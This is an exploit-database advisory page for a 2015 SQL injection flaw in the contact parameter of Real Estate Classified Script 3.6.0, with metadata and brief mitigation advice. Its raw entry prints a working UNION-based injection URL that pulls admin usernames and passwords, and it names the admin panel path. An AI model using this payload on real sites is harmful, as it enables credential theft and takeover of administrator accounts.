header-logo
Suggest Exploit
vendor:
Real Estate Classified Script
by:
Meisam Monsef
7,5
CVSS
HIGH
SQL Injection
89
CWE
Product Name: Real Estate Classified Script
Affected Version From: 3.6.0
Affected Version To: 3.6.0
Patch Exists: NO
Related CWE: N/A
CPE: a:phpscriptsmall:real-estate_classified_script
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2015

real-estate classified script Sql Injection

An attacker can exploit a SQL injection vulnerability in the contact_view.php script of the real-estate classified script. By sending a specially crafted request, an attacker can execute arbitrary SQL commands on the underlying database. The vulnerable parameter is contact. The exploit code is provided in the text.

Mitigation:

Input validation should be used to prevent SQL injection attacks. All user-supplied input should be validated and filtered before being used in SQL queries.
Source

Exploit-DB raw data:

# Exploit Title: real-estate classified script Sql Injection
# Date: 2015-05-29
# Exploit Author: Meisam Monsef meisamrce@yahoo.com or meisamrce@gmail.com
# Vendor Homepage:
http://www.phpscriptsmall.com/product/open-source-real-estate-script/
# Version: 3.6.0


Exploit :
http://server/[path]/contact_view.php?contact=-99999+[SQl+Command]

Test :
http://server/contact_view.php?contact=-25527%27+/*!50000union*/+select+1,2,3,4,5,6,7,8,9,10,11,10,13,14,15,16,17,18,19,20,username,22,password,24,25,26,27,28,29,30,31,32,33,34,35,36,37+/*!50000from*/+/*!50000admin_login*/%23

Admin Panel : http://server/admin/